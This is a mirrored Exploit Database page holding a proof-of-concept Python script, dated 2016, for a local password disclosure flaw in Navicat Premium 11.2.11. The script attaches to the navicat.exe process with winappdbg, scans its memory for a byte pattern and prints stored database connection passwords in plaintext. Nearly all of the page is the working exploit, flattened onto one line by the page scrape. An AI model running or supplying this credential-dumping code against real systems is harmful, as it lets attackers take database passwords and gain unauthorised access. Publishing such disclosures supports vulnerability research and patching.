Navicat Premium 11.2.11 (x64) – Local Database Password Disclosure

• Exploit Database
• 109 阅读

• 作者： Yakir Wizman
  日期： 2016-09-05
• 类别：

  • local
  平台：

  • windows_x86-64
• 来源：https://www.exploit-db.com/exploits/40336/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71

  ##### # Navicat Premium 11.2.11 (64bit) Local Password Disclosure # Tested on Windows Windows Server 2012 R2 64bit, English # Vendor Homepage @ https://www.navicat.com/ # Date 05/09/2016 # Bug Discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman) # # http://www.black-rose.ml # # Special Thanks & Greetings to friend of mine Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/) ##### # Navicat Premium client v11.2.11 is vulnerable to local password disclosure, the supplied password is stored in a plaintext format in memory process. # A potential attacker could reveal the supplied password in order to gain access to the database. # Proof-Of-Concept Code: #####   import time from winappdbg import Debug, Process   count = 0 found = 0 filename = "navicat.exe" process_pid = 0 memory_dump = []   def b2h(str): return ''.join(["%02X " % ord(x) for x in str]).strip()   def h2b(str): bytes = [] str = ''.join(str.split(" ")) for i in range(0, len(str), 2): bytes.append(chr(int(str[i:i+2], 16))) return ''.join(bytes)   debug = Debug() try: print "[~] Searching for pid by process name '%s'.." % (filename) time.sleep(1) debug.system.scan_processes() for (process, process_name) in debug.system.find_processes_by_filename(filename): process_pid = process.get_pid() if process_pid is not 0: print "[+] Found process with pid #%d" % (process_pid) time.sleep(1) print "[~] Trying to read memory for pid #%d" % (process_pid) process = Process(process_pid) for address in process.search_bytes('\x00\x90\x18\x00\x00\x00\x00\x00\x00\x00'): memory_dump.append(process.read(address,30)) memory_dump.pop(0) for i in range(len(memory_dump)): str = b2h(memory_dump[i]) first = str.split("00 90 18 00 00 00 00 00 00 00 ")[1] last = first.split("00 ") if last[0]: count = count+1 found = 1 print "[+] Password for connection #%d found as %s" % (count, h2b(last[0])) if found == 0: print "[-] Password not found! Make sure the client is connected at least to one database." else: print "[-] No process found with name '%s'." % (filename) debug.loop() finally: debug.stop()